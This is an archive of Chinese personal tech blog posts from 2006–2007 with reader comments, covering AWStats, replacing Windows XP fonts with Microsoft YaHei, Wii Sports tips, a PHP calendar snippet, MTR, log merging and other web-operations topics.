确实如此，以前每到月底myjob的统计就是一个漫长痛苦的过程，在分析猜测得出的车老大所说的原因后，就改成按天统计了，不过不知道-databasebreak=day参数，每次都是分析得出报表后就移至相应的日期目录了。这样４Ｇ左右的日志也只需１个半小时就能搞定了，并且按天得出的报表对于运维的帮助更大，月度统计则通过每日记录的ＥＸＣＥＬ文件搞定了。

mekk · 2007-03-21 09:33

这样４Ｇ左右的日志也只需１个半小时就能搞定了，并且按天得出的报表对于运维的帮助更大，月度统计则通过每日记录的ＥＸＣＥＬ文件搞定了。

是不是我的參數設置有很大問題,我的網站日IP只有1万卻經常不能把每天的日誌分析完，我是用任務計劃每天晚上11點啓動統計命令，但是到第二天下午可能才能夠完成統計。是怎麽囘事？哪位能指點一下，不甚感激:)

鬼仔 · 2007-03-24 23:06

微软雅黑字体包替换XP的宋体（附下载）

Tue, 20 Feb 2007 09:11:37 +0800

2009年2月12日更新： Windows XP升级到SP3后需要重新运行安装脚本 [下载] 字体替换脚本和字体文件

2007年春节在家接触到了雅黑字体：搜到的很多网上很多文章都是介绍如何让Vista的雅黑字体回滚到宋体格式，看来字体的变化对于用户感受是很大的，Vista很多面向宽屏，笔记本LCD的改进，在非ClearType模式下的雅黑字体反而不如宋体。设置雅黑字体＋ClearType Tunning后的字体效果比较：相对来说，雅黑字体更接近于印刷字体的效果以下是Windows XP下微软雅黑字体的安装和配置策略。 方法一：直接利用微软雅黑字体替换Windows XP系统的缺省字体：宋体(不用一一设置各种应用的缺省字体配置) 一些Vista模拟软件中的字体替换的功能：其中包含的一个功能可以直接将Windows XP系统缺省的宋体字替换为微软雅黑字体的工具包，一个直接使用Vista风格包中提取出来的[下载] 字体替换脚本和字体文件是一个方便的途径。

启用步骤： 0 先启用ClearType模式：具体的方法就是屏幕设置属性==>外观==>效果：设置使用“清晰”模式光滑字体边缘； 1 [下载] 微软雅黑字体和系统字体替换脚本：解包后运行setup.cmd，然后再重启Windows XP就可以了（如果有脚本报错可以忽略），如果有问题运行unsetup.cmd重启可以恢复； 2 重启机器后，会发现所有应用到系统缺省的字体都被替换成雅黑格式了（包括登录界面），结合安装目录里面的cttune.cpl 中文Clear Type（清晰）控制微调面板，就能面向中文调整更满意的效果。此外：微软也提供的在线ClearType微调工具（需啊使用IE）； 3 部分编辑软件(如Notepad 写字板)中的字体使用fixedsys会变得很差（但是能看清），可以考虑使用Courier New字体替换（等宽，较清晰）；

~~2007-07-22更新：由于box.net有月度流量控制，可能有些下载文件无法下载。~~

方法二：在FireFox中选择使用微软雅黑字体（最安全，需要一一设置应用字体属性） 1 [下载] 官方的Windows XP的微软雅黑字体文件：字体会被复制到 c:\windows\fonts 目录下，字体即刻安装完成。 2 [下载] 中文ClearType设置向导，有更细的导航可以协助选择到更合适的字体。或者使用微软提供的在线ClearType调整（需啊使用IE）； 3 将浏览器的字体替换为更适合ClearType的微软雅黑字体：例如：在FireFox中是工具==>选项==>内容配置进行修改）。也可以将其他应用中应用雅黑字体，浏览器，文本编辑器，邮件工具等都要一一设置，虽然这样是一个比较繁琐的做法，但的确比较保险，这种方法也比较适合于Windows 2000等旧操作系统。

使用雅黑字体过程中发现的一些问题： 1 雅黑字体行距较大，原先（缺省的Luna主题）右下角的时钟用宋体字可以显示时:分星期和日期的，用雅黑字体就只能显示时:分和星期了，也撑大了很多应用的窗体；有的软件显示字体变的很小，如：卡巴斯基，招行专业版的登录窗口，媒体播放器的升级界面，QQ2007 启动的窗口就变样了，而且打开任意一个群，选择“群设置”，弹出窗口大小没有变化，但是整个显示内容却溢出了！如果这些界面中的确认/取消/下一步等按钮找不到了，只能用键盘快捷键了。 2 部分笔画比较多的字，在雅黑模式下容易变成小黑块和变高，比如：葛； 3 基于Java的应用仍然是锯齿字型，需要在应用中一一设置； 4 自己Hack方式修改的时候，部分使用FixedSys的软件中文部分都会变成乱码，比如：招行的登录窗口和菜单文字都变成方块了，金山词霸的配置菜单中有部分也是乱码，资源管理器中的搜索，命令行中的汉字也没了；

参考资料：用微软雅黑代替宋体开启 ClearType UI

Windows系统下的宋体字，最小阅读范围是12px。当你把字体设置为小于 12px时，IE比较“智能”，它能把中文字体自动调整到12px这个可读范围，而Firefox就比较“老实”，忠实地再现CSS里的设置。 windows下11px的中文宋体字是难于阅读的。另外，在Windows系统下，12px, 14px, 16px这三个字号的表现都不错。由: Realazy

有用户反映的FireFox看雅虎邮箱字体毛糙的问题，除了FireFox浏览器看一些网站外，很多国外软件的版权声明，帮助信息，按钮等用到小字体的时候，都没有考虑中文字体，用这个方法还是能让阅读舒服很多。但是含有中文字体时仍然会出现大量的“锯齿” “毛糙”的情况。不能指望所有网站都考虑到中文字体的设置问题，只有考虑从自己桌面设置上进行统一的修改了。宋体本身效果也是有限的，单数像素(9px,11px,13px)大小字体有变形现象。宋体并非为ClearType专门设计的，只有Vista中的雅黑字体可以比较好的利用ClearType模式。

猪年有趣的贺年短信

Sat, 17 Feb 2007 22:58:29 +0800

你收到有趣的段子吗？

我收到中比较有趣的如下：好像有点郭德刚的风格

今年就是猪年了哦，给大家发个短信。一猪一条，猪猪有份。祝：各路可爱的小公猪小母猪天天快乐，有猪伴的甜甜蜜蜜，没伴的多去猪圈转转。

祝大家节日快乐！

更新：2008-01-08 2008年收到的最有意思的短信来自晓丹的你大爷网车行四海东方不败

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

huaxlee · 2007-02-17 23:47

沙发，猪年快乐！

AT · 2007-02-18 02:15

目前收到的都还挺老套的= =

车东春节快乐：）

czao · 2007-02-18 10:47

一猪一条，猪猪有份:)

zfling · 2007-02-19 04:01

挺有趣，猪所有的朋友开心快乐。

azmo · 2007-02-24 02:21

收到的短信的重复率还是很高的，真希望能有更多原创。

快乐生活，从心开始，http://www.chinalivedoor.ocm

猪 · 2007-06-03 10:55

猪头猪脑猪尾巴

任天堂Wii游戏机：Wii Sports的玩法入门心得

Mon, 12 Feb 2007 22:18:44 +0800

最近的朋友聚会最流行的节目就是一起玩Wii游戏机了，而WiiSports更是必修课之一. 上周借Andy的Wii体验了一下。感受备忘如下：请将手柄安全带收紧 Wii的手柄是不仅有感应震动,手柄上还有音箱.很多声效同步从手柄上传过来. 更酷的是手机实际上一个蓝牙红外接收器(摆在旁边的条条才是发射器),感觉动作信号接受只和手柄的角度变化的速度/加速度有关，和动作的幅度没有那么相关（想想接收器实现的原理也可以知道，区分接收器的空间坐标和区分接收器的空间角度显然后者更容易实现）。Wii是一个手腕游戏，千万别模仿屏幕上角色的夸张动作（准备活动不充分和狭窄的空间容易受伤和伤人）。

以下是一些项目运动经验的整理：拳击：格斗游戏是一个防守的游戏，如果会用拳护住脸（手柄交叉在脸前即可），一手进攻，就可以突破500分了（开始的初级对手全部都是门户大开），但是要打到800分以上破防的勾拳则是必须的,目前正在练习中。挥拳感觉就用手腕拿着手柄向前轻点即可，通过手柄的转动角度来发出不同的拳，正在练勾拳：好像是手柄从水平指向屏幕，然后往上提90度即可；

棒球：全垒打是基本功，挥棒只要手腕小幅向摆动即可，最好成绩12分（1回合游戏结束）,练习大约是70%左右的命中率. 这个游戏让我也了解了一些baseball的基本规则，挥球基本上不用真的用大臂挥，用手腕挥出的动作稳定性更高（就是可不断打出本垒打）. 发球除了按A B有一定线路变化外,没找到更多变化，主要是快速往手腕向斜后甩，速度最快，基本上你的手柄角度变化约不可思议，游戏机认为速度就越高。

网球： ACE球不熟练，回球主要靠角度获胜，打出角度大的球在于挥拍的时机在球弹起落下，约临近落地，充分击球点越好（当然也有出界的可能），前提是方向要和运动员的位置保持一致。

保龄：基本上是用调整出球角度来适应你的挥球，固定好2种姿势，一种大力，用于蒙全中，一种直线，用于补中，如果发现自己的挥球往右偏，发球就往左一些。我一般都调整到左边第二条刻度了。

高尔夫：景色宜人，没有找到什么窍门。

体能测试：周二第一次玩体能测试结果67岁 :( 上周末上升到37岁了；动作的稳定性和控制力比反应速度和力度更重要。因此先练习，后比赛：尤其是拳击这样的高能耗游戏，每拳必中很重要，如果不能有效的控制，体力浪费就太大了。

WiiSport让从来没有打过棒球的你享受一下全垒打的乐趣，让从来没有打过网球的你享受一下ACE的乐趣，让从没没有打过……享受一下，不要沾沾自喜：全垒打，ACE在游戏中只是基本功，的确可以满足各种入门玩家的成就感,值得为家人买一套,配上2套手柄对战才更好.

💬 历史评论

以下 20 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Cloudream · 2007-02-12 22:09

炫耀帖，鉴定完毕……

.<#

Fenng · 2007-02-12 22:24

这是第一次看你写这么"休闲"的内容

Wii/PSP 这些东西这么火么? 很难理解

吕欣欣 · 2007-02-13 09:29

车东上周末来feedsky，用拳击和垒球狂菜了我，但是被我用网球彻底还击。顺便说一句，herock的看法是用wii打网球的性质相当于手淫。

herock · 2007-02-13 09:46

车东拳法了得! :)

sele · 2007-02-13 10:33

你的google广告位置放的可够阴险的

AT · 2007-02-13 15:13

Wii的画质较前代的NGC没什么大的改进~

Calender.php: 给网站应用加上日历归档/导航

Sun, 11 Feb 2007 13:06:17 +0800

前2天尝试awstats的按天归档机制，发现忽然需要给统计报表应用做一个日历，每天链接到报表的URL。在网上搜了几套PHP的日历库：发现PHP Calendar是一个最方便的可扩展PHP类包，我需要的2个功能都非常容易方便的定制功能都有了： 1 按月/按年的日历展示； 2 可以定制日期链接到指定的URL地址；

一个简单的月历输出样例在这里：

include '[Calendar.php](http://www.cascade.org.uk/software/php/calendar/Calendar.txt)';
$today = date(‘j’); // Customize the date links to digest/yyyymmdd.html class MyCalendar extends Calendar { function getDateLink($day, $month, $year) { global $today; $link = “”; if ( $day < $today ) { $link = “/digest/” . date(“Ymd”, mktime(0, 0, 0, $month, $day, $year)) . “.html”; } return $link; } }

$cal = new MyCalendar;

// First, create an array of month names, January through December $chineseMonths = array(“一月”, “二月”, “三月”, “四月”, “五月”, “六月”, “七月”, “八月”, “九月”, “十月”, “十一月”, “十二月”);

喜欢 links for yyyy-mm-dd 和昨日收藏这样的标题吗？

Sun, 28 Jan 2007 19:25:26 +0800

在我订阅的feed中,经常可以看到 links for yyyy-mm-dd 和昨日收藏这样的标题, 都是FeedBurner中合并的作者的del.icio.us和365key收藏. 尤其是在Bloglines和Google Reader/抓虾中订阅了大量的blog以后，浏览都会设置成只看标题, 这时候links for yyyy-mm-dd 和昨日收藏这样的标题对于快速浏览就没有什么信息了。以下是在GReader中每天链接汇总模式和条目列表模式订阅效果对比：

BlogLines的Lines指的就说标题行吧？文章的标题非常重要，是用户从大量信息中进行过滤的首要来源。最好还是让订阅用户少点击一次比较好. FeedBurner和FeedSky都支持直接显示地址,文欣, zheng 改改吧？

💬 历史评论

以下 8 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ff · 2007-01-28 21:30

我觉得这个就是为了增加自己的blog流量，但是又没有内容更新，才发布这些东西

xLight · 2007-01-29 13:32

我看车东改了，我也觉得link xxxx-xx-xx不爽，于是也改了

AT · 2007-01-29 15:31

现在这样做的比较多……在自己没有东西写的情况下……

ppip · 2007-01-29 15:34

但给出的信息太多了啊，对读者也是一种不好的负担？

zeal · 2007-01-29 17:10

对于那些会在 links yyyy-mm-dd 后面加上几个简洁的标题文字来说明这次收藏里面哪篇自己认为最值得推荐的我还会去看看，对于那些纯粹由系统每天自动生成的毫无意义的 links for 直接按 j 键掠过。。

ppip · 2007-01-29 23:44

那要看读者是用list，还是用expand来看了，我自己就习惯用expanded。而且，除了google reader，还有很多人用的是其他方式浏览feed。如果每一条收藏都产生一个feed的话，对于收藏量比较大（每天>3条）的人来说，很容易对读者造成相当大的视觉污染——即使是list方式，每一条收藏的权重和你自己些的帖子变成一样的了，这并不是一个好的结果。

MTR和WinMTR的下载和使用

Thu, 25 Jan 2007 19:03:08 +0800

Linux上很多好工具要解决的问题（需求）可能别人多年前就也遇到过了，但别人不告诉我的话我就根本不知道它存在。第一次知道MTR还是在几年前和其他公司的工程师沟通XML接口速度问题的时候学到的，当时对方发来这样一个报表：

 Host                                 Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 60.195.249.1                       0.0%    41    0.3   2.2   0.3  71.5  11.1
 2. 202.99.57.129                      0.0%    41    0.3   0.3   0.2   1.5   0.2
 3. 202.99.57.9                        0.0%    41    0.7  19.9   0.6 189.6  46.8
 4. 221.239.18.133                     0.0%    41    3.2   3.4   3.2   3.7   0.1
 5. 221.239.7.49                       0.0%    41    3.0   2.8   2.7   3.2   0.1
 6. 221.238.222.209                    0.0%    41    2.7  14.2   2.7 131.5  29.9
 7. 202.97.34.225                      0.0%    41   22.7  23.0  22.6  29.0   1.0
 8. 202.97.37.53                       0.0%    41   22.7  34.5  22.6 180.6  37.1
 9. 202.97.33.10                       0.0%    41   23.1  22.9  22.7  23.6   0.2
10. 202.97.33.54                       0.0%    40   24.4  31.6  23.1  44.9   6.0
11. 202.97.4.46                        0.0%    40   58.0  58.3  58.0  60.8   0.4
12. 216.239.47.237                    12.5%    40  188.2 189.2 188.0 204.6   2.8
13. 72.14.239.13                      10.0%    40  191.7 191.8 191.1 193.5   0.5
14. 72.14.233.55                       7.7%    40  192.0 191.4 190.7 192.2   0.4
15. 72.14.233.118                     12.5%    40  242.8 243.1 242.4 244.8   0.6
16. 72.14.236.183                      7.5%    40  243.7 243.5 242.3 250.9   1.6
    72.14.232.113
17. 66.249.94.118                     22.5%    40  242.7 247.9 242.7 255.7   4.5
    72.14.236.13018. eh-in-f99.google 10.0%    40  242.7 243.3 242.6 246.0   0.6

从搜索前端服务器到Google的XML接口之间的路由，和各个路由点的响应时间（包括最短，最长，平均）及丢包率一目了然。

多个服务器日志的排序合并： clfmerge

Mon, 22 Jan 2007 17:09:12 +0800

以前介绍过 sort -m <(/bin/zcat /web1/access_log.20070120.gz) <(/bin/zcat /web2/access_log.20070120.gz) 对多台服务器上的日志进行排序合并，但是最近发现有时候cronolog截取日志并不干净，就是说按天截断的时候，还是有可能出现几条跨天的日志记录。March 31 => April 1时候日志排序倒错的可能性还是存在的。

最近才知道知道sort还有-M模式，是可以对有英文月份的字段进行排序的： -M An initial string, consisting of any amount of white space, fol- lowed by three letters abbreviating a month name, is folded to UPPER case and compared in the order JAN' < FEB’ < … < `DEC.’ Invalid names compare low to valid names.

这样就不会在 March => April 的时候出现排序倒错的问题了。

更可靠的一个工具就是logtools中的：clfmerge，合并速度比较快，而且对于日志跨天也没有问题。

当然，还有一个思路：就是将在多台服务器上的日志实时udp发送到1台（或多台）集中的日志服务器上，这样就省略了排序合并的步骤。并且适合后台快速分发到其他服务器上进行统计。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

最佳拖延时间借口：更完美

Thu, 18 Jan 2007 23:20:56 +0800

最近连续看了3篇关于做事拖延的原因分析（2篇Solidot的科技文章，1篇桑林的网志），终于明白了原来最容易被蒙蔽的一个理由就是听起来要做一个更完美的解决方案。

假如听到类似的拖延理由而又没有分辨和控制能力的话：往往这就是失败的开始 1 针对这个问题有一个更加完美的解决方案，需要3个月完成； 2 需要从头开发一个专用的系统，这个系统会比以前的更加灵活； 3 需要对所有的数据进行一次地毯式的统计，精度高达4个9，需要2个月时间； 4 今天的时间不多了，留到有空闲时间的时候再将整将本书看完；

这些承诺的成功率和赌徒“下一把把输掉的全部赢回来”几乎是一样的。

解决的方法/策略： 1 事情没有容易和难之分，只有重要与不重要（重要性来自于数据分析）； 2 让拖延者自己订下完成时间：不要允许时间拖延，否则拖延本身就是给懒惰的奖励； 3 没有数字依据的问题：先定性，再定量； 4 对难以评估的陷阱有识别能力和免疫力；

[科学家发现了拖延法则](http://science.solidot.org/article.pl?sid=07/01/15/061215) matrix 写道 "Science Daily报道Calgary大学教授Piers Steel（这位博士可能也许大概是拖延研究领域的权威）在《心理学报告》（Psychological Bulletin）上发表了一篇论文，标题为The Nature of Procrastination: A Meta-Analytic and Theoretical Review of Quintessential Self-Regulatory Failure。这项研究总结出几条让人吃惊的结论：大多数人的新年许愿注定是失败的，大多数自助指南是完全错误的，它们认为完美主义是做事拖延的根源（为了把事情做的更完美，在时间上就...）拖延（Procrastination）可以用一个简单的数学方程式来解释。" 这项研究整整花了十年时间，但是没有迹象显示在研究开始之前它经过了多数次拖延。文章指出：" 从本质上而言，拖延者对自己缺乏信心，对自己事实上能完成的任务的期待并不高。完美主义者并不是不会犯错，完美主义者也会拖延，但是他们对拖延的过程表现的十分焦虑。"
勿以事易而为之一段时间来体味着的“人生经验”是：勿以事易而为之。：）

也许有很多人和我一样，在处理工作和其它事务时，常常会列一下需要做的事情，然后选择容易的先做。这似乎是顺理成章的，因为这样能比较快地看到结果，而且显得比较有效率。

但是，我发现这些“容易”的事情并不见得容易结束，它们会源源不断引出其它事情。而列表里那些比较困难的，往往也是更重要的事情，因此被一再推后，总是遗憾地“没时间”做。

用自我约束的最后期限战胜拖延的陋习 “很多人常常面临这样的情况：本来手头有一大堆工作要做却故意拖延，上网去看看新浪的娱乐或者浏览热门贴的评论，要么干脆写日志。我们拖延重要的事情，像吸毒那样同时带有的负罪感和快感。这种拖延的吸引力在心理学上称之为hyperbolic time discounting（连续时间折扣），拖延的奖励相比浪费的是不对称的。换句话说拖延本身就是一种奖励。一位MIT的教授发现他如果让学生自己制定作业的最终期限(deadlines)，学生自己会抵制拖延。当然一个问题是学生设置的最终期限是宽裕的，有弹性而非最佳。多数有拖拉习惯的人的经验是提早开始工作。"

💬 历史评论

以下 11 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

vanvan · 2007-01-19 02:01

不能认同更多了。Steve Pavlina的方子对我也启发很大： http://userpage.fu-berlin.de/~wanchen/2005/08/blog-post_12.html

wear · 2007-01-19 10:41

twiki 4.1发布

Wed, 17 Jan 2007 12:15:24 +0800

twiki.org今天宣布： TWiki 4.1发布了。今天收到了一个TWiki Advocate（拥护者）的信：鼓励用户去TechCruch论坛发表评论。

Because Wiki technology is "top of mind" in the blogosphere and press,we have the opportunity to dramatically increase awareness for TWiki as an open source alternative. To this end, I have started a thread on Tech Crunch Forums to alert everyone about TWiki and to pose the question, "What will it take for wikis to be officially sanctioned by the IT department?"
I encourage each of you to visit the forum at http://forums.techcrunch.com/forums/thread.jspa?threadID=856&tstart=0 and join the conversation. The more traffic this article gets, the more likely the Tech Crunch staff is to write about TWiki and our community, and the more likely that TWiki will be a hot topic in the blogosphere in general. Every click counts, so please take action right away.

Blog的目录结构优化

Sat, 13 Jan 2007 10:29:32 +0800

如果再建一个blog我会这样规划目录结构。

文章内容： index.html 首页 tag-archive.html 分类或者基于tag的归档页； yyyy-mm/index.html 按月归档； yyyy-mm/dd-####-name.html 内容页；####为文章的编号，以备未来迁移映射需要； atom.xml ATOM格式feed index.xml RSS格式feed tag-rss.xml 按分类的RSS输出

图片等文件： /yyyy-mm/

总体目录比较扁平而且不会有文件过于集中的问题；

这样规划的好处在于： 1 分布：文章/图片等文件能够按时间，按月分布在yyyy-mm目录下，不会因为几年的积累下来所有的文章都积累在archives/目录下。按一年发表300篇文章，加上图片，同目录下很快就会文件过多而不便管理；很难想像Jeremy：截至目前已经写了2355篇了（根据Monthly的归档数字），都在archives/008346.html 这样的目录下，目录浏览会很慢的； 2 导航：所有文章所在目录也有缺省index.html页面，Google工具栏有个向上目录查找按钮。有了index.html就不会出现404找不到页面了；

💬 历史评论

以下 12 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

greengnn · 2007-01-13 13:12

up! 这样的东东我也很想要阿，可惜我的是asp的，rewrite不能很好的利用，抽时间赶紧换！

JunChen · 2007-01-13 14:38

MT 做到这些还是很方便的，特别是 3.33 管理后台提供了上传文件到自定义目录下的功能。

默认的 yyyy/mm/basename.html 确实多了一层目录，有些不必要。

另外 3.33 的 Dynamic Publish 用过没？怎么样？

shunz · 2007-01-13 15:34

我对Postshow的目录规划就是这样的:)

dimlau · 2007-01-13 16:06

我的现在基本也就是这样的把但是。。。分类没做好某些分类的文章压倒性的多于其他分类分类合理也很重要。。。

如何通过正则表达式区分中英文

Mon, 08 Jan 2007 15:48:31 +0800

正则表达式用了几年了，本以为这个问题很简单：把所有查询关键词中纯英文(包括数字)的滤出来；但是折腾了一下午才总算找到了以下解决方法： iconv -f gbk -t utf-8 query_list |egrep -e “^[a-z0-9]*$”

1 为什么需要用utf-8：如果直接对gbk编码的文字进行grep会由于编码中的交叉而滤出很多中文； 2 为什么需要用egrep： egrep=grep -E 就是正则表达式支持扩展字符集，扩展的正则支持用高八位字符；

关键：先将文本强制转换成UTF-8，然后利用egrep。适用环境：Unix命令行模式下的grep；

有更简单的方法吗：请留言……

尝试一：为了解决滤出字母数字查询词，先是直接grep “^[A-Za-z0-9]+$"，但是总是滤出大量的中文

尝试二：后来无意中发现使用egrep “^[a-z0-9]+$” 可以大大减少中文的量，推断关键词是GBK格式的，GBK和英文编码含有大量交叉；

尝试三：在网上找到很多文档都是转载：使用 [\x00-\xFF] 这样的正则表达式，但是没有说明，其应用的环境是在javascript这样的环境中，js已经是将字符转换成unicode来处理了，这种环境在另外的开发环境中可能就不适用了

2007-02-18 卢亮的文章：对XML 进行 parse 时的Invalid Unicode character (0x0) 分析有更详细的阐释。

字符编码方案是从一个或多个编码字符集到一个或多个固定宽度代码单元序列的映射。最常用的代码单元是字节，但是 16 位或 32 位整数也可用于内部处理。UTF-32、UTF-16 和 UTF-8 是 Unicode 标准的编码字符集的字符编码方案。
UTF-32 即将每一个 Unicode 代码点表示为相同值的 32 位整数。很明显，它是内部处理最方便的表达方式，但是，如果作为一般字符串表达方式，则要消耗更多的内存。

UTF-16 使用一个或两个未分配的 16 位代码单元的序列对 Unicode 代码点进行编码。值 U+0000 至 U+FFFF 编码为一个相同值的 16 位单元。增补字符编码为两个代码单元，第一个单元来自于高代理范围（U+D800 至 U+DBFF），第二个单元来自于低代理范围（U+DC00 至 U+DFFF）。这在概念上可能看起来类似于多字节编码，但是其中有一个重要区别：值 U+D800 至 U+DFFF 保留用于 UTF-16；没有这些值分配字符作为代码点。这意味着，对于一个字符串中的每个单独的代码单元，软件可以识别是否该代码单元表示某个单单元字符，或者是否该代码单元是某个双单元字符的第一个或第二单元。这相当于某些传统的多字节字符编码来说是一个显著的改进，在传统的多字节字符编码中，字节值 0x41 既可能表示字母“A”，也可能是一个双字节字符的第二个字节。

流量统计：QihooBot来过 CollapsarDEEP

Thu, 04 Jan 2007 20:07:22 +0800

上个月底29日的统计发现当天流量超过了2G（平时都是低于1G的）：根据来源IP发现了蜘蛛，信息： Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0)

本月截至昨天的流量统计： QihooBot的流量排在第一，加号后面是蜘蛛robots.txt的请求次数 QihooBot 10035 3.58 G字节 2007年一月 03日 23:58 Yahoo! Slurp China 4586+33 8.41 M字节 2007年一月 03日 23:59 Googlebot 4165+21 19.36 M字节 2007年一月 03日 23:59 Sina Iask Spider 3544+1 16.18 M字节 2007年一月 03日 15:46 MSNBot 3028+163 39.05 M字节 2007年一月 03日 23:58 Nutch 2531+3 89.02 M字节 2007年一月 03日 23:43 Yahoo Slurp 1879+341 9.50 M字节 2007年一月 03日 23:59 发现Yahoo Slurp对于网站的请求越来越友好了，大量的请求都是304检查文件是否更新过；

年终总结：2006 chedong.com 年终小结

Mon, 01 Jan 2007 19:27:45 +0800

又到了年终小结的时候了：

chedong.com: 网站大部分流量来源仍然是Google/Baidu。不过今年的热门主题是：spoolsv和脑筋急转弯，完全是歪打正着。

2006最常用的几个软件和服务基本上和2005年的差不多，更多的是改进和熟悉使用。

在工具栏上增加了2个常用的https服务：GMail和GReader。 GMail:
把 @chedong.com邮件先迁移到了DreamHost（先过滤一部分垃圾邮件），然后转发给GMail。

GReader： GReader今年的改版回归了树型，速度上大大超越BlogLines。而抓虾很有潜力的是digg功能：RSS阅读和DIGG发掘机制的结合是未来超越单纯的RSS阅读和纯DIGG服务的方向。

BLOG发布平台MT： MT经过几次升级后：仍然是我最主要的blog发布工具。了更多的spam问题和更多的spam解决方案，去年将一些文档计划的迁移到TWIKI的方案也由于性能问题而落空：twiki做为内部使用还是很好的，但是不适合对外的内容发布。链接收藏：del.icio.us 图片收藏：FlickR 内容聚合：Lilina（缓存加速版）

日志统计分析： 对AWStats进行了不少定义改进：主要针对中国市场的搜索引擎和蜘蛛等定义。 Analytics：只是对部分页面进行了的少量取样统计，主要是获得需要JS获得的浏览器信息统计； sort/uniq/egrep等工具的组合；

客户端软件： 尽量使用开源软件和免费软件。PieTTY（PuTTY的一个中文字符集修正版）和VIM（尽量不去碰UltraEdit，以避免产生倚赖）。FireFox2（若干插件）和FreeMind等已经成为使用习惯。

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

AT · 2007-01-01 23:50

新年快乐：）

ahu · 2007-01-03 00:43

我用MindManger 估计会被车东鄙视…

jack · 2007-01-06 13:24

好像网页数/人数=2，好像不高，这是为什么？

www.daili168.com · 2007-12-23 16:29

怎么看，看不太懂。是后臺統計嗎？我在我的 http://www.daili168.com/ 上應該使用什么統計軟件合適？我是個人的

雅虎免费邮箱片头动画：Liam系列

Sat, 30 Dec 2006 10:38:44 +0800

喜欢搜集雅虎免费邮箱片头动画的人还挺多的，整理如下： 2006圣诞节：源图地址：http://us.i1.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/reindeer_liam.gif

奶油宣言前后：源图地址：http://us.i1.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/liam_shadowboxer_scaled.gif

雅虎邮箱Beta2：源图地址：http://us.i1.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/liam_breakdance.gif

雅虎邮箱beta1：源图地址： http://us.i1.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/liam_ball_1.gif

2006世界杯：源图地址：http://us.i1.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/liam_fifa.gif

BTW: 雅虎邮箱的紫色小人为什么叫Liam呢？其实就是Mail倒过来写（谢谢Danny）；

这里我还看到了会有更多： http://delephant.blogspot.com/search/label/liam

昨天回家路上还听到这样一段对话：“今天早上10点XX从法兰克福给我打电话，他们那边凌晨2点，说从国外上不去雅虎邮箱。把用户名和密码告诉我了，让我从国内上。然后将客户的邮件转发给他。”“ 还好，国内能上……”

2007年1月6日更新：源图地址：http://us.i1.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/ostrich_liam.gif

2007年2月7日更新：情人节之爱心泡泡源图地址：http://us.i1.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/liam_heartbubbles.gif

2007年2月15日更新：Liam减肥带源图地址：http://us.i1.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/fatbelt_liam.gif

2007年3月21日更新：Liam 草裙舞源图地址： http://mail.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/hula_liam.gif

2007年5月5日更新： Liam遭遇GodZilla（微软提出收购后）源图地址： http://mail.yimg.com/us.yimg.com/i/us/pim/dclient/d/img/liam_meets_godzilla.gif

💬 历史评论

以下 20 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

mimiqiao · 2006-12-30 16:47

我很好奇，这是用什么软件制作的呢？真棒！

gelte · 2006-12-30 21:22

国内能上……

沈蚊 · 2007-01-08 22:59

拿什么软件做不重要，关键是美术设计能力。

oego · 2007-01-10 19:28

哈哈，只见过第二个和最后一个。

Liam是他的名字吗？他的眼睛很像咸蛋呀。

有女孩儿版的吗。。。

**Danny ** · 2007-01-30 13:46

基于插件的需求采集

Thu, 28 Dec 2006 18:39:00 +0800

周末回家用另外一台机器时：机器上还没有升级的FireFox 1.5。发现自己用了一段时间FireFox 2.0后已经不太习惯Firefox 1.5的tab浏览了：一个很大的差别就是firefox2中每个TAB有单独关闭按钮。这个原先需要插件实现的机制已经是FireFox 2中的标准组件了。

在很多开源的系统中：插件机制是一个很有用的开发扩展机制。而且新功能都是由插件演变而来的。比如：FireFox的tab浏览， MT的anti spam插件 SpamLookup。插件是各种次要功能的竞技场，被用户证明是必须的最后就会成为标准组件发布。

FireFox的插件推荐： https://addons.mozilla.org/firefox/recommended/ MT的插件推荐：http://www.sixapart.com/pronet/plugins/ WordPress的插件推荐： http://codex.wordpress.org/Plugins

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

shunz · 2006-12-29 20:20

我的firefox 2.0还在用tab mix plus，一些习惯还是和标准版不一样，最后，顺祝元旦快乐！:)

xLight · 2006-12-30 18:58

还在用tab mix plus

me 2

adown · 2006-12-30 19:23

“这个原先需要插件实现的机制已经是FireFox 2中的标准组件了”

应该说是扩展实现了

随便推荐下stumble这个扩展

www.daili168.com · 2007-12-23 16:31

我的 http://www.daili168.com/ 也是使用了MT構架,但我在使用PM BOX插件時遇到了麻煩，總是提示有錯，如何解決？ PS:我是MT4.01

台湾发生7.2级地震，海光缆大面积中断

Wed, 27 Dec 2006 10:12:45 +0800

12月26日晚20点25分：台湾发生7.2级地震，使众多路由经过台湾的海光缆系统陆续发生中断，其中有亚太一号、亚太二号、中美、亚欧三号、Flag、C2C等，和中国电信相关的海缆中断情况如下：

中美海缆于12月26日20：25 距离台湾枋山登陆站 9.7公里左右发生中断；
亚欧三号海缆于12月26日20：25 距离台湾枋山登陆站 9.7公里左右发生中断；
亚太二号海缆S7于12月27日00：06距离台湾淡水登陆站904公里左右发生中断；
亚太二号海缆S3于12月27日02：00距离崇明登陆站2100公里左右（靠近台湾处）发生中断；
Flag光缆亚太系统于12月26日20:43在韩国到香港段中断；
Flag光缆亚欧段于12月27日04:56在香港到上海段中断。

